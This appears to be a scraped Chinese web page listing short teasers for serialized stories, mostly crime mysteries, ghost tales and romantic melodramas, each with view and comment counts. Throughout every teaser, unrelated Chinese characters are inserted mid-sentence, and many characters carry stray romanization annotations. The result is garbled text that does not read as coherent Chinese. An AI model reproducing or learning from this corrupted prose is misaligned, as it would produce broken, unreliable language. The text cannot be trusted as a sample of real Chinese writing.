  • 序言:七十年代末排苍,一起剝皮案震驚了整個(gè)濱河市沦寂,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌淘衙,老刑警劉巖传藏,帶你破解...
    沈念sama閱讀 211,948評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異彤守,居然都是意外死亡毯侦,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,371評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門(mén)具垫,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)侈离,“玉大人,你說(shuō)我怎么就攤上這事筝蚕∝阅耄” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 157,490評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵起宽,是天一觀的道長(zhǎng)洲胖。 經(jīng)常有香客問(wèn)我,道長(zhǎng)坯沪,這世上最難降的妖魔是什么绿映? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,521評(píng)論 1 284
  • 正文 為了忘掉前任,我火速辦了婚禮腐晾,結(jié)果婚禮上叉弦,老公的妹妹穿的比我還像新娘。我一直安慰自己藻糖,他們只是感情好淹冰,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,627評(píng)論 6 386
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著巨柒,像睡著了一般樱拴。 火紅的嫁衣襯著肌膚如雪凝颇。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 49,842評(píng)論 1 290
  • 那天疹鳄,我揣著相機(jī)與錄音,去河邊找鬼芦岂。 笑死瘪弓,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的禽最。 我是一名探鬼主播腺怯,決...
    沈念sama閱讀 38,997評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼川无!你這毒婦竟也來(lái)了呛占?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 37,741評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤懦趋,失蹤者是張志新(化名)和其女友劉穎晾虑,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體仅叫,經(jīng)...
    沈念sama閱讀 44,203評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡帜篇,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,534評(píng)論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了诫咱。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片笙隙。...
    茶點(diǎn)故事閱讀 38,673評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖坎缭,靈堂內(nèi)的尸體忽然破棺而出竟痰,到底是詐尸還是另有隱情,我是刑警寧澤掏呼,帶...
    沈念sama閱讀 34,339評(píng)論 4 330
  • 正文 年R本政府宣布坏快,位于F島的核電站,受9級(jí)特大地震影響哄尔,放射性物質(zhì)發(fā)生泄漏假消。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,955評(píng)論 3 313
  • 文/蒙蒙 一岭接、第九天 我趴在偏房一處隱蔽的房頂上張望富拗。 院中可真熱鬧,春花似錦鸣戴、人聲如沸啃沪。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,770評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)创千。三九已至缰雇,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間追驴,已是汗流浹背械哟。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,000評(píng)論 1 266
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留殿雪,地道東北人暇咆。 一個(gè)月前我還...
    沈念sama閱讀 46,394評(píng)論 2 360
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像丙曙,于是被迫代替她去往敵國(guó)和親爸业。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,562評(píng)論 2 349

推薦閱讀更多精彩內(nèi)容